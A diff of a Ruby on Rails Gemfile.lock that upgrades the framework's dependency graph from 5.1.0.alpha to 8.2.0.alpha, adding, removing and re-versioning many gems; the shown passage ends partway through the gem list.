-  remote: https://github.com/matthewd/rb-inotify.git
-  revision: 90553518d1fb79aedc98a3036c59bd2b6731ac40
-  branch: close-handling
-  specs:
-    rb-inotify (0.9.7)
-      ffi (>= 0.5.0)
-
-GIT
-  remote: https://github.com/matthewd/websocket-client-simple.git
-  revision: e161305f1a466b9398d86df3b1731b03362da91b
-  branch: close-race
-  specs:
-    websocket-client-simple (0.3.0)
-      event_emitter
-      websocket
-
-GIT
-  remote: https://github.com/rails/arel.git
-  revision: ab109d3bf1c773da5e78ddc93bb6b55aebbb1c2a
-  specs:
-    arel (8.0.0)
-
 PATH
   remote: .
   specs:
-    actioncable (5.1.0.alpha)
-      actionpack (= 5.1.0.alpha)
+    actioncable (8.2.0.alpha)
+      actionpack (= 8.2.0.alpha)
+      activesupport (= 8.2.0.alpha)
       nio4r (~> 2.0)
-      websocket-driver (~> 0.6.1)
-    actionmailer (5.1.0.alpha)
-      actionpack (= 5.1.0.alpha)
-      actionview (= 5.1.0.alpha)
-      activejob (= 5.1.0.alpha)
-      mail (~> 2.5, >= 2.5.4)
-      rails-dom-testing (~> 2.0)
-    actionpack (5.1.0.alpha)
-      actionview (= 5.1.0.alpha)
-      activesupport (= 5.1.0.alpha)
-      rack (~> 2.0)
-      rack-test (~> 0.6.3)
-      rails-dom-testing (~> 2.0)
-      rails-html-sanitizer (~> 1.0, >= 1.0.2)
-    actionview (5.1.0.alpha)
-      activesupport (= 5.1.0.alpha)
+      websocket-driver (>= 0.6.1)
+      zeitwerk (~> 2.6)
+    actionmailbox (8.2.0.alpha)
+      actionpack (= 8.2.0.alpha)
+      activejob (= 8.2.0.alpha)
+      activerecord (= 8.2.0.alpha)
+      activestorage (= 8.2.0.alpha)
+      activesupport (= 8.2.0.alpha)
+      mail (>= 2.8.0)
+    actionmailer (8.2.0.alpha)
+      actionpack (= 8.2.0.alpha)
+      actionview (= 8.2.0.alpha)
+      activejob (= 8.2.0.alpha)
+      activesupport (= 8.2.0.alpha)
+      mail (>= 2.8.0)
+      rails-dom-testing (~> 2.2)
+    actionpack (8.2.0.alpha)
+      actionview (= 8.2.0.alpha)
+      activesupport (= 8.2.0.alpha)
+      nokogiri (>= 1.8.5)
+      rack (>= 2.2.4)
+      rack-session (>= 1.0.1)
+      rack-test (>= 0.6.3)
+      rails-dom-testing (~> 2.2)
+      rails-html-sanitizer (~> 1.6)
+      useragent (~> 0.16)
+    actiontext (8.2.0.alpha)
+      action_text-trix (~> 2.1.15)
+      actionpack (= 8.2.0.alpha)
+      activerecord (= 8.2.0.alpha)
+      activestorage (= 8.2.0.alpha)
+      activesupport (= 8.2.0.alpha)
+      globalid (>= 0.6.0)
+      nokogiri (>= 1.8.5)
+    actionview (8.2.0.alpha)
+      activesupport (= 8.2.0.alpha)
       builder (~> 3.1)
-      erubi (~> 1.4)
-      rails-dom-testing (~> 2.0)
-      rails-html-sanitizer (~> 1.0, >= 1.0.3)
-    activejob (5.1.0.alpha)
-      activesupport (= 5.1.0.alpha)
+      erubi (~> 1.11)
+      rails-dom-testing (~> 2.2)
+      rails-html-sanitizer (~> 1.6)
+    activejob (8.2.0.alpha)
+      activesupport (= 8.2.0.alpha)
       globalid (>= 0.3.6)
-    activemodel (5.1.0.alpha)
-      activesupport (= 5.1.0.alpha)
-    activerecord (5.1.0.alpha)
-      activemodel (= 5.1.0.alpha)
-      activesupport (= 5.1.0.alpha)
-      arel (~> 8.0)
-    activesupport (5.1.0.alpha)
-      concurrent-ruby (~> 1.0, >= 1.0.2)
-      i18n (~> 0.7)
-      minitest (~> 5.1)
-      tzinfo (~> 1.1)
-    rails (5.1.0.alpha)
-      actioncable (= 5.1.0.alpha)
-      actionmailer (= 5.1.0.alpha)
-      actionpack (= 5.1.0.alpha)
-      actionview (= 5.1.0.alpha)
-      activejob (= 5.1.0.alpha)
-      activemodel (= 5.1.0.alpha)
-      activerecord (= 5.1.0.alpha)
-      activesupport (= 5.1.0.alpha)
-      bundler (>= 1.3.0, < 2.0)
-      railties (= 5.1.0.alpha)
-      sprockets-rails (>= 2.0.0)
-    railties (5.1.0.alpha)
-      actionpack (= 5.1.0.alpha)
-      activesupport (= 5.1.0.alpha)
-      method_source
-      rake (>= 0.8.7)
-      thor (>= 0.18.1, < 2.0)
+    activemodel (8.2.0.alpha)
+      activesupport (= 8.2.0.alpha)
+    activerecord (8.2.0.alpha)
+      activemodel (= 8.2.0.alpha)
+      activesupport (= 8.2.0.alpha)
+      timeout (>= 0.4.0)
+    activestorage (8.2.0.alpha)
+      actionpack (= 8.2.0.alpha)
+      activejob (= 8.2.0.alpha)
+      activerecord (= 8.2.0.alpha)
+      activesupport (= 8.2.0.alpha)
+      marcel (~> 1.0)
+    activesupport (8.2.0.alpha)
+      base64
+      bigdecimal
+      concurrent-ruby (~> 1.0, >= 1.3.1)
+      connection_pool (>= 2.2.5)
+      drb
+      i18n (>= 1.6, < 2)
+      json
+      logger (>= 1.4.2)
+      minitest (>= 5.1)
+      securerandom (>= 0.3)
+      tzinfo (~> 2.0, >= 2.0.5)
+      uri (>= 0.13.1)
+    rails (8.2.0.alpha)
+      actioncable (= 8.2.0.alpha)
+      actionmailbox (= 8.2.0.alpha)
+      actionmailer (= 8.2.0.alpha)
+      actionpack (= 8.2.0.alpha)
+      actiontext (= 8.2.0.alpha)
+      actionview (= 8.2.0.alpha)
+      activejob (= 8.2.0.alpha)
+      activemodel (= 8.2.0.alpha)
+      activerecord (= 8.2.0.alpha)
+      activestorage (= 8.2.0.alpha)
+      activesupport (= 8.2.0.alpha)
+      bundler (>= 1.15.0)
+      railties (= 8.2.0.alpha)
+    railties (8.2.0.alpha)
+      actionpack (= 8.2.0.alpha)
+      activesupport (= 8.2.0.alpha)
+      irb (~> 1.13)
+      rackup (>= 1.0.0)
+      rake (>= 12.2)
+      thor (~> 1.0, >= 1.2.2)
+      tsort (>= 0.2)
+      zeitwerk (~> 2.6)
+
+PATH
+  remote: tools/releaser
+  specs:
+    releaser (1.0.0)
+      minitest
+      rake (~> 13.0)
 
 GEM
   remote: https://rubygems.org/
   specs:
-    addressable (2.5.0)
-      public_suffix (~> 2.0, >= 2.0.2)
-    amq-protocol (2.1.0)
-    ast (2.3.0)
-    backburner (1.3.1)
+    action_text-trix (2.1.15)
+      railties
+    addressable (2.8.7)
+      public_suffix (>= 2.0.2, < 7.0)
+    amq-protocol (2.3.2)
+    argon2 (2.3.2)
+      ffi (~> 1.15)
+      ffi-compiler (~> 1.0)
+    ast (2.4.2)
+    aws-eventstream (1.4.0)
+    aws-partitions (1.1150.0)
+    aws-sdk-core (3.230.0)
+      aws-eventstream (~> 1, >= 1.3.0)
+      aws-partitions (~> 1, >= 1.992.0)
+      aws-sigv4 (~> 1.9)
+      base64
+      bigdecimal
+      jmespath (~> 1, >= 1.6.1)
+      logger
+    aws-sdk-kms (1.110.0)
+      aws-sdk-core (~> 3, >= 3.228.0)
+      aws-sigv4 (~> 1.5)
+    aws-sdk-s3 (1.197.0)
+      aws-sdk-core (~> 3, >= 3.228.0)
+      aws-sdk-kms (~> 1)
+      aws-sigv4 (~> 1.5)
+    aws-sdk-sns (1.92.0)
+      aws-sdk-core (~> 3, >= 3.210.0)
+      aws-sigv4 (~> 1.5)
+    aws-sigv4 (1.12.1)
+      aws-eventstream (~> 1, >= 1.0.2)
+    backburner (1.6.1)
       beaneater (~> 1.0)
-      concurrent-ruby (~> 1.0.1)
+      concurrent-ruby (~> 1.0, >= 1.0.1)
       dante (> 0.1.5)
-    bcrypt (3.1.11)
-    bcrypt (3.1.11-x64-mingw32)
-    bcrypt (3.1.11-x86-mingw32)
-    beaneater (1.0.0)
-    benchmark-ips (2.7.2)
-    blade (0.7.0)
-      activesupport (>= 3.0.0)
-      blade-qunit_adapter (~> 2.0.1)
-      coffee-script
-      coffee-script-source
-      curses (~> 1.0.0)
-      eventmachine
-      faye
-      sprockets (>= 3.0)
-      thin (>= 1.6.0)
-      thor (~> 0.19.1)
-      useragent (~> 0.16.7)
-    blade-qunit_adapter (2.0.1)
-    blade-sauce_labs_plugin (0.6.2)
-      childprocess
-      faraday
-      selenium-webdriver
-    builder (3.2.3)
-    bunny (2.6.2)
-      amq-protocol (>= 2.0.1)
-    byebug (9.0.6)
-    childprocess (0.5.9)
-      ffi (~> 1.0, >= 1.0.11)
-    coffee-rails (4.2.1)
-      coffee-script (>= 2.2.0)
-      railties (>= 4.0.0, < 5.2.x)
-    coffee-script (2.4.1)
-      coffee-script-source
-      execjs
-    coffee-script-source (1.12.2)
-    concurrent-ruby (1.0.4)
-    connection_pool (2.2.1)
-    cookiejar (0.3.3)
-    curses (1.0.2)
-    daemons (1.2.4)
-    dalli (2.7.6)
+    base64 (0.3.0)
+    bcrypt (3.1.20)
+    bcrypt_pbkdf (1.1.1)
+    beaneater (1.1.3)
+    bigdecimal (3.2.3)
+    bindex (0.8.1)
+    bootsnap (1.18.4)
+      msgpack (~> 1.2)
+    brakeman (7.0.0)
+      racc
+    builder (3.3.0)
+    bundler-audit (0.9.3)
+      bundler (>= 1.2.0)
+      thor (~> 1.0)
+    bunny (2.23.0)
+      amq-protocol (~> 2.3, >= 2.3.1)
+      sorted_set (~> 1, >= 1.0.2)
+    capybara (3.40.0)
+      addressable
+      matrix
+      mini_mime (>= 0.1.3)
+      nokogiri (~> 1.11)
+      rack (>= 1.6.0)
+      rack-test (>= 0.6.3)
+      regexp_parser (>= 1.5, < 3.0)
+      xpath (~> 3.2)
+    chef-utils (18.6.2)
+      concurrent-ruby
+    childprocess (5.1.0)
+      logger (~> 1.5)
+    concurrent-ruby (1.3.5)
+    connection_pool (2.5.4)
+    crack (1.0.0)
+      bigdecimal
+      rexml
+    crass (1.0.6)
+    cssbundling-rails (1.4.1)
+      railties (>= 6.0.0)
+    dalli (3.2.8)
     dante (0.2.0)
-    delayed_job (4.1.2)
-      activesupport (>= 3.0, < 5.1)
-    delayed_job_active_record (4.1.1)
-      activerecord (>= 3.0, < 5.1)
-      delayed_job (>= 3.0, < 5)
-    em-hiredis (0.3.1)
-      eventmachine (~> 1.0)
-      hiredis (~> 0.6.0)
-    em-http-request (1.1.5)
-      addressable (>= 2.3.4)
-      cookiejar (!= 0.3.1)
-      em-socksify (>= 0.3)
-      eventmachine (>= 1.0.3)
-      http_parser.rb (>= 0.6.0)
-    em-socksify (0.3.1)
-      eventmachine (>= 1.0.0.beta.4)
-    erubi (1.4.0)
-    erubis (2.7.0)
-    event_emitter (0.2.5)
-    eventmachine (1.2.1)
-    eventmachine (1.2.1-x64-mingw32)
-    eventmachine (1.2.1-x86-mingw32)
-    execjs (2.7.0)
-    faraday (0.11.0)
-      multipart-post (>= 1.2, < 3)
-    faye (1.2.3)
-      cookiejar (>= 0.3.0)
-      em-http-request (>= 0.3.0)
-      eventmachine (>= 0.12.0)
-      faye-websocket (>= 0.9.1)
-      multi_json (>= 1.0.0)
-      rack (>= 1.0.0)
-      websocket-driver (>= 0.5.1)
-    faye-websocket (0.10.5)
-      eventmachine (>= 0.12.0)
-      websocket-driver (>= 0.5.1)
-    ffi (1.9.17)
-    ffi (1.9.17-x64-mingw32)
-    ffi (1.9.17-x86-mingw32)
-    globalid (0.3.7)
-      activesupport (>= 4.1.0)
-    hiredis (0.6.1)
-    http_parser.rb (0.6.0)
-    i18n (0.8.0)
-    jquery-rails (4.2.2)
-      rails-dom-testing (>= 1, < 3)
-      railties (>= 4.2.0)
-      thor (>= 0.14, < 2.0)
-    json (2.0.3)
-    kindlerb (1.2.0)
-      mustache
-      nokogiri
-    libxml-ruby (2.9.0)
-    listen (3.1.5)
-      rb-fsevent (~> 0.9, >= 0.9.4)
-      rb-inotify (~> 0.9, >= 0.9.7)
-      ruby_dep (~> 1.2)
-    loofah (2.0.3)
-      nokogiri (>= 1.5.9)
-    mail (2.6.4)
-      mime-types (>= 1.16, < 4)
-    metaclass (0.0.4)
-    method_source (0.8.2)
-    mime-types (3.1)
-      mime-types-data (~> 3.2015)
-    mime-types-data (3.2016.0521)
-    mini_portile2 (2.1.0)
-    minitest (5.3.3)
-    mocha (0.14.0)
-      metaclass (~> 0.0.1)
-    mono_logger (1.1.0)
-    multi_json (1.12.1)
-    multipart-post (2.0.0)
-    mustache (1.0.3)
-    mysql2 (0.4.5)
-    mysql2 (0.4.5-x64-mingw32)
-    mysql2 (0.4.5-x86-mingw32)
-    nio4r (2.0.0)
-    nokogiri (1.7.0.1)
-      mini_portile2 (~> 2.1.0)
-    nokogiri (1.7.0.1-x64-mingw32)
-      mini_portile2 (~> 2.1.0)
-    nokogiri (1.7.0.1-x86-mingw32)
-      mini_portile2 (~> 2.1.0)
-    parser (2.4.0.0)
-      ast (~> 2.2)
-    pg (0.19.0)
-    pg (0.19.0-x64-mingw32)
-    pg (0.19.0-x86-mingw32)
-    powerpack (0.1.1)
-    psych (2.2.2)
-    public_suffix (2.0.5)
-    puma (3.7.0)
-    qu (0.2.0)
-      multi_json
-    qu-redis (0.2.0)
-      qu (= 0.2.0)
-      redis-namespace
-      simple_uuid
-    que (0.12.0)
-    racc (1.4.14)
-    rack (2.0.1)
-    rack-cache (1.6.1)
-      rack (>= 0.4)
-    rack-protection (1.5.3)
+    dartsass-rails (0.5.1)
+      railties (>= 6.0.0)
+      sass-embedded (~> 1.63)
+    date (3.4.1)
+    debug (1.10.0)
+      irb (~> 1.10)
+      reline (>= 0.3.8)
+    declarative (0.0.20)
+    digest-crc (0.6.5)
+      rake (>= 12.0.0, < 14.0.0)
+    dotenv (3.1.7)
+    drb (2.2.3)
+    ed25519 (1.3.0)
+    erb (5.1.1)
+    erubi (1.13.1)
+    et-orbi (1.2.11)
+      tzinfo
+    event_emitter (0.2.6)
+    execjs (2.10.0)
+    faraday (1.10.4)
+      faraday-em_http (~> 1.0)
+      faraday-em_synchrony (~> 1.0)
+      faraday-excon (~> 1.1)
+      faraday-httpclient (~> 1.0)
+      faraday-multipart (~> 1.0)
+      faraday-net_http (~> 1.0)
+      faraday-net_http_persistent (~> 1.0)
+      faraday-patron (~> 1.0)
+      faraday-rack (~> 1.0)
+      faraday-retry (~> 1.0)
+      ruby2_keywords (>= 0.0.4)
+    faraday-em_http (1.0.0)
+    faraday-em_synchrony (1.0.0)
+    faraday-excon (1.1.0)
+    faraday-httpclient (1.0.1)
+    faraday-multipart (1.1.0)
+      multipart-post (~> 2.0)
+    faraday-net_http (1.0.2)
+    faraday-net_http_persistent (1.2.0)
+    faraday-patron (1.0.0)
+    faraday-rack (1.0.0)
+    faraday-retry (1.0.3)
+    ffi (1.17.1)
+    ffi (1.17.1-aarch64-linux-gnu)
+    ffi (1.17.1-arm64-darwin)
+    ffi (1.17.1-x86_64-darwin)
+    ffi (1.17.1-x86_64-linux-gnu)
+    ffi-compiler (1.3.2)
+      ffi (>= 1.15.5)
+      rake
+    fugit (1.11.1)
+      et-orbi (~> 1, >= 1.2.11)
+      raabro (~> 1.4)
+    globalid (1.2.1)
+      activesupport (>= 6.1)
+    google-apis-core (0.15.1)
+      addressable (~> 2.5, >= 2.5.1)
+      googleauth (~> 1.9)
+      httpclient (>= 2.8.3, < 3.a)
+      mini_mime (~> 1.0)
+      mutex_m
+      representable (~> 3.0)
+      retriable (>= 2.0, < 4.a)
+    google-apis-iamcredentials_v1 (0.22.0)
+      google-apis-core (>= 0.15.0, < 2.a)
+    google-apis-storage_v1 (0.49.0)
+      google-apis-core (>= 0.15.0, < 2.a)
+    google-cloud-core (1.7.1)
+      google-cloud-env (>= 1.0, < 3.a)
+      google-cloud-errors (~> 1.0)
+    google-cloud-env (2.2.1)
+      faraday (>= 1.0, < 3.a)
+    google-cloud-errors (1.4.0)
+    google-cloud-storage (1.54.0)
+      addressable (~> 2.8)
+      digest-crc (~> 0.4)
+      google-apis-core (~> 0.13)
+      google-apis-iamcredentials_v1 (~> 0.18)
+      google-apis-storage_v1 (~> 0.38)
+      google-cloud-core (~> 1.6)
+      googleauth (~> 1.9)
+      mini_mime (~> 1.0)
+    google-logging-utils (0.1.0)
+    google-protobuf (4.29.3)
+      bigdecimal
+      rake (>= 13)
+    google-protobuf (4.29.3-aarch64-linux)
+      bigdecimal
+      rake (>= 13)
+    google-protobuf (4.29.3-arm64-darwin)
+      bigdecimal
+      rake (>= 13)
+    google-protobuf (4.29.3-x86_64-darwin)
+      bigdecimal
+      rake (>= 13)
+    google-protobuf (4.29.3-x86_64-linux)
+      bigdecimal
+      rake (>= 13)
+    googleauth (1.12.2)
+      faraday (>= 1.0, < 3.a)
+      google-cloud-env (~> 2.2)
+      google-logging-utils (~> 0.1)
+      jwt (>= 1.4, < 3.0)
+      multi_json (~> 1.11)
+      os (>= 0.9, < 2.0)
+      signet (>= 0.16, < 2.a)
+    hashdiff (1.1.2)
+    httpclient (2.9.0)
+      mutex_m
+    i18n (1.14.7)
+      concurrent-ruby (~> 1.0)
+    image_processing (1.14.0)
+      mini_magick (>= 4.9.5, < 6)
+      ruby-vips (>= 2.0.17, < 3)
+    importmap-rails (2.1.0)
+      actionpack (>= 6.0.0)
+      activesupport (>= 6.0.0)
+      railties (>= 6.0.0)
+    io-console (0.8.1)
+    irb (1.15.2)
+      pp (>= 0.6.0)
+      rdoc (>= 4.0.0)
+      reline (>= 0.4.2)
+    jbuilder (2.13.0)
+      actionview (>= 5.0.0)
+      activesupport (>= 5.0.0)
+    jmespath (1.6.2)
+    jsbundling-rails (1.3.1)
+      railties (>= 6.0.0)
+    json (2.15.2)
+    jwt (2.10.1)
+      base64
+    kamal (2.4.0)
+      activesupport (>= 7.0)
+      base64 (~> 0.2)
+      bcrypt_pbkdf (~> 1.0)
+      concurrent-ruby (~> 1.2)
+      dotenv (~> 3.1)
+      ed25519 (~> 1.2)
+      net-ssh (~> 7.3)
+      sshkit (>= 1.23.0, < 2.0)
+      thor (~> 1.3)
+      zeitwerk (>= 2.6.18, < 3.0)
+    kramdown (2.5.1)
+      rexml (>= 3.3.9)
+    kramdown-parser-gfm (1.1.0)
+      kramdown (~> 2.0)
+    language_server-protocol (3.17.0.3)
+    launchy (3.0.1)
+      addressable (~> 2.8)
+      childprocess (~> 5.0)
+    libxml-ruby (5.0.4)
+    lint_roller (1.1.0)
+    listen (3.9.0)
+      rb-fsevent (~> 0.10, >= 0.10.3)
+      rb-inotify (~> 0.9, >= 0.9.10)
+    logger (1.7.0)
+    loofah (2.24.1)
+      crass (~> 1.0.2)
+      nokogiri (>= 1.12.0)
+    mail (2.8.1)
+      mini_mime (>= 0.1.1)
+      net-imap
+      net-pop
+      net-smtp
+    marcel (1.0.4)
+    matrix (0.4.2)
+    mdl (0.12.0)
+      kramdown (~> 2.3)
+      kramdown-parser-gfm (~> 1.1)
+      mixlib-cli (~> 2.1, >= 2.1.1)
+      mixlib-config (>= 2.2.1, < 4)
+      mixlib-shellout
+    mini_magick (5.3.1)
+      logger
+    mini_mime (1.1.5)
+    mini_portile2 (2.8.9)
+    minitest (5.25.5)
+    minitest-bisect (1.7.0)
+      minitest-server (~> 1.0)
+      path_expander (~> 1.1)
+    minitest-ci (3.4.0)
+      minitest (>= 5.0.6)
+    minitest-retry (0.2.3)
+      minitest (>= 5.0)
+    minitest-server (1.0.9)
+      drb (~> 2.0)
+      minitest (> 5.16)
+    mixlib-cli (2.1.8)
+    mixlib-config (3.0.27)
+      tomlrb
+    mixlib-shellout (3.3.4)
+      chef-utils
+    mono_logger (1.1.2)
+    msgpack (1.7.5)
+    multi_json (1.15.0)
+    multipart-post (2.4.1)
+    mustermann (3.0.4)
+      ruby2_keywords (~> 0.0.1)
+    mutex_m (0.3.0)
+    mysql2 (0.5.6)
+    net-imap (0.5.5)
+      date
+      net-protocol
+    net-pop (0.1.2)
+      net-protocol
+    net-protocol (0.2.2)
+      timeout
+    net-scp (4.0.0)
+      net-ssh (>= 2.6.5, < 8.0.0)
+    net-sftp (4.0.0)
+      net-ssh (>= 5.0.0, < 8.0.0)
+    net-smtp (0.5.1)
+      net-protocol
+    net-ssh (7.3.0)
+    nio4r (2.7.4)
+    nokogiri (1.18.10)
+      mini_portile2 (~> 2.8.2)
+      racc (~> 1.4)
+    nokogiri (1.18.10-aarch64-linux-gnu)
+      racc (~> 1.4)
+    nokogiri (1.18.10-arm64-darwin)
+      racc (~> 1.4)
+    nokogiri (1.18.10-x86_64-darwin)
+      racc (~> 1.4)
+    nokogiri (1.18.10-x86_64-linux-gnu)
+      racc (~> 1.4)
+    os (1.1.4)
+    ostruct (0.6.1)
+    parallel (1.26.3)
+    parser (3.3.9.0)
+      ast (~> 2.4.1)
+      racc
+    path_expander (1.1.3)
+    pg (1.6.2)
+    pg (1.6.2-aarch64-linux)
+    pg (1.6.2-arm64-darwin)
+    pg (1.6.2-x86_64-darwin)
+    pg (1.6.2-x86_64-linux)
+    pp (0.6.2)
+      prettyprint
+    prettyprint (0.2.0)
+    prism (1.4.0)
+    propshaft (1.3.1)
+      actionpack (>= 7.0.0)
+      activesupport (>= 7.0.0)
       rack
-    rack-test (0.6.3)
-      rack (>= 1.0)
-    rails-dom-testing (2.0.2)
-      activesupport (>= 4.2.0, < 6.0)
-      nokogiri (~> 1.6)
-    rails-html-sanitizer (1.0.3)
-      loofah (~> 2.0)
-    rainbow (2.2.1)
-    rake (12.0.0)
-    rb-fsevent (0.9.8)
-    rdoc (5.0.0)
-    redcarpet (3.2.3)
-    redis (3.3.2)
-    redis-namespace (1.5.2)
-      redis (~> 3.0, >= 3.0.4)
-    resque (1.27.0)
-      mono_logger (~> 1.0)
+    psych (5.2.6)
+      date
+      stringio
+    public_suffix (6.0.1)
+    puma (6.5.0)
+      nio4r (~> 2.0)
+    queue_classic (4.0.0)
+      pg (>= 1.1, < 2.0)
+    raabro (1.4.0)
+    racc (1.8.1)
+    rack (3.2.1)
+    rack-cache (1.17.0)
+      rack (>= 0.4)
+    rack-protection (4.1.1)
+      base64 (>= 0.1.0)
+      logger (>= 1.6.0)
+      rack (>= 3.0.0, < 4)
+    rack-session (2.1.1)
+      base64 (>= 0.1.0)
+      rack (>= 3.0.0)
+    rack-test (2.2.0)
+      rack (>= 1.3)
+    rackup (2.2.1)
+      rack (>= 3)
+    rails-dom-testing (2.3.0)
+      activesupport (>= 5.0.0)
+      minitest
+      nokogiri (>= 1.6)
+    rails-html-sanitizer (1.6.2)
+      loofah (~> 2.21)
+      nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0)
+    rainbow (3.1.1)
+    rake (13.3.0)
+    rb-fsevent (0.11.2)
+    rb-inotify (0.11.1)
+      ffi (~> 1.0)
+    rbtree (0.4.6)
+    rdoc (6.15.0)
+      erb
+      psych (>= 4.0.0)
+      tsort
+    redcarpet (3.6.1)
+    redis (5.4.1)
+      redis-client (>= 0.22.0)
+    redis-client (0.25.2)
+      connection_pool
+    redis-namespace (1.11.0)
+      redis (>= 4)
+    regexp_parser (2.10.0)
+    reline (0.6.1)
+      io-console (~> 0.5)
+    representable (3.2.0)
+      declarative (< 0.1.0)
+      trailblazer-option (>= 0.1.1, < 0.2.0)
+      uber (< 0.2.0)
+    resque (2.7.0)
+      mono_logger (~> 1)
       multi_json (~> 1.0)
-      redis-namespace (~> 1.3)
+      redis-namespace (~> 1.6)
       sinatra (>= 0.9.2)
-      vegas (~> 0.1.2)
-    resque-scheduler (4.3.0)
+    resque-scheduler (4.11.0)
       mono_logger (~> 1.0)
-      redis (~> 3.3)
-      resque (~> 1.26)
-      rufus-scheduler (~> 3.2)
-    rubocop (0.47.1)
-      parser (>= 2.3.3.1, < 3.0)
-      powerpack (~> 0.1)
-      rainbow (>= 1.99.1, < 3.0)
+      redis (>= 3.3)
+      resque (>= 1.27)
+      rufus-scheduler (~> 3.2, != 3.3)
+    retriable (3.1.2)
+    rexml (3.4.0)
+    rouge (4.6.1)
+    rubocop (1.79.2)
+      json (~> 2.3)
+      language_server-protocol (~> 3.17.0.2)
+      lint_roller (~> 1.1.0)
+      parallel (~> 1.10)
+      parser (>= 3.3.0.2)
+      rainbow (>= 2.2.2, < 4.0)
+      regexp_parser (>= 2.9.3, < 3.0)
+      rubocop-ast (>= 1.46.0, < 2.0)
       ruby-progressbar (~> 1.7)
-      unicode-display_width (~> 1.0, >= 1.0.1)
-    ruby-progressbar (1.8.1)
-    ruby_dep (1.5.0)
-    rubyzip (1.2.0)
-    rufus-scheduler (3.3.2)
-      tzinfo
-    sass (3.4.23)
-    sass-rails (5.0.6)
-      railties (>= 4.0.0, < 6)
-      sass (~> 3.1)
-      sprockets (>= 2.8, < 4.0)
-      sprockets-rails (>= 2.0, < 4.0)
-      tilt (>= 1.1, < 3)
-    sdoc (1.0.0.rc1)
-      rdoc (= 5.0.0)
-    selenium-webdriver (3.0.5)
-      childprocess (~> 0.5)
-      rubyzip (~> 1.0)
+      unicode-display_width (>= 2.4.0, < 4.0)
+    rubocop-ast (1.46.0)
+      parser (>= 3.3.7.2)
+      prism (~> 1.4)
+    rubocop-md (2.0.1)
+      lint_roller (~> 1.1)
+      rubocop (>= 1.72.1)
+    rubocop-minitest (0.37.1)
+      lint_roller (~> 1.1)
+      rubocop (>= 1.72.1, < 2.0)
+      rubocop-ast (>= 1.38.0, < 2.0)
+    rubocop-packaging (0.6.0)
+      lint_roller (~> 1.1.0)
+      rubocop (>= 1.72.1, < 2.0)
+    rubocop-performance (1.24.0)
+      lint_roller (~> 1.1)
+      rubocop (>= 1.72.1, < 2.0)
+      rubocop-ast (>= 1.38.0, < 2.0)
+    rubocop-rails (2.30.3)
+      activesupport (>= 4.2.0)
+      lint_roller (~> 1.1)
+      rack (>= 1.1)
+      rubocop (>= 1.72.1, < 2.0)
+      rubocop-ast (>= 1.38.0, < 2.0)
+    rubocop-rails-omakase (1.0.0)
+      rubocop
+      rubocop-minitest
+      rubocop-performance
+      rubocop-rails
+    ruby-progressbar (1.13.0)
+    ruby-vips (2.2.2)
+      ffi (~> 1.12)
+      logger
+    ruby2_keywords (0.0.5)
+    rubyzip (2.4.1)
+    rufus-scheduler (3.9.2)
+      fugit (~> 1.1, >= 1.11.1)
+    sass-embedded (1.83.4)
+      google-protobuf (~> 4.29)
+      rake (>= 13)
+    sass-embedded (1.83.4-aarch64-linux-gnu)
+      google-protobuf (~> 4.29)
+    sass-embedded (1.83.4-arm64-darwin)
+      google-protobuf (~> 4.29)
+    sass-embedded (1.83.4-x86_64-darwin)
+      google-protobuf (~> 4.29)
+    sass-embedded (1.83.4-x86_64-linux-gnu)
+      google-protobuf (~> 4.29)
+    sdoc (2.6.5)
+      rdoc (>= 5.0)
+    securerandom (0.4.1)
+    selenium-webdriver (4.32.0)
+      base64 (~> 0.2)
+      logger (~> 1.4)
+      rexml (~> 3.2, >= 3.2.5)
+      rubyzip (>= 1.2.2, < 3.0)
       websocket (~> 1.0)
-    sequel (4.42.1)
-    serverengine (1.5.11)
+    serverengine (2.0.7)
       sigdump (~> 0.2.2)
-    sidekiq (4.2.9)
+    set (1.1.2)
+    sidekiq (8.0.7)
+      connection_pool (>= 2.5.0)
+      json (>= 2.9.0)
+      logger (>= 1.6.2)
+      rack (>= 3.1.0)
+      redis-client (>= 0.23.2)
+    sigdump (0.2.5)
+    signet (0.19.0)
+      addressable (~> 2.8)
+      faraday (>= 0.17.5, < 3.a)
+      jwt (>= 1.5, < 3.0)
+      multi_json (~> 1.10)
+    sinatra (4.1.1)
+      logger (>= 1.6.0)
+      mustermann (~> 3.0)
+      rack (>= 3.0.0, < 4)
+      rack-protection (= 4.1.1)
+      rack-session (>= 2.0.0, < 3)
+      tilt (~> 2.0)
+    sneakers (2.11.0)
+      bunny (~> 2.12)
       concurrent-ruby (~> 1.0)
-      connection_pool (~> 2.2, >= 2.2.0)
-      rack-protection (>= 1.5.0)
-      redis (~> 3.2, >= 3.2.1)
-    sigdump (0.2.4)
-    simple_uuid (0.4.0)
-    sinatra (1.0)
-      rack (>= 1.0)
-    sneakers (2.4.0)
-      bunny (~> 2.6)
-      serverengine (~> 1.5.11)
+      rake
+      serverengine (~> 2.0.5)
       thor
-      thread (~> 0.1.7)
-    sprockets (3.7.1)
+    solid_cable (3.0.5)
+      actioncable (>= 7.2)
+      activejob (>= 7.2)
+      activerecord (>= 7.2)
+      railties (>= 7.2)
+    solid_cache (1.0.6)
+      activejob (>= 7.2)
+      activerecord (>= 7.2)
+      railties (>= 7.2)
+    solid_queue (1.1.2)
+      activejob (>= 7.1)
+      activerecord (>= 7.1)
+      concurrent-ruby (>= 1.3.1)
+      fugit (~> 1.11.0)
+      railties (>= 7.1)
+      thor (~> 1.3.1)
+    sorted_set (1.0.3)
+      rbtree
+      set (~> 1.0)
+    sprockets (4.2.1)
       concurrent-ruby (~> 1.0)
-      rack (> 1, < 3)
-    sprockets-rails (3.2.0)
-      actionpack (>= 4.0)
-      activesupport (>= 4.0)
+      rack (>= 2.2.4, < 4)
+    sprockets-rails (3.5.2)
+      actionpack (>= 6.1)
+      activesupport (>= 6.1)
       sprockets (>= 3.0.0)
-    sqlite3 (1.3.13)
-    sqlite3 (1.3.13-x64-mingw32)
-    sqlite3 (1.3.13-x86-mingw32)
-    stackprof (0.2.10)
-    sucker_punch (2.0.2)
-      concurrent-ruby (~> 1.0.0)
-    thin (1.7.0)
-      daemons (~> 1.0, >= 1.0.9)
-      eventmachine (~> 1.0, >= 1.0.4)
-      rack (>= 1, < 3)
-    thor (0.19.4)
-    thread (0.1.7)
-    thread_safe (0.3.5)
-    tilt (2.0.5)
-    turbolinks (5.0.1)
-      turbolinks-source (~> 5)
-    turbolinks-source (5.0.0)
-    tzinfo (1.2.2)
-      thread_safe (~> 0.1)
-    tzinfo-data (1.2016.10)
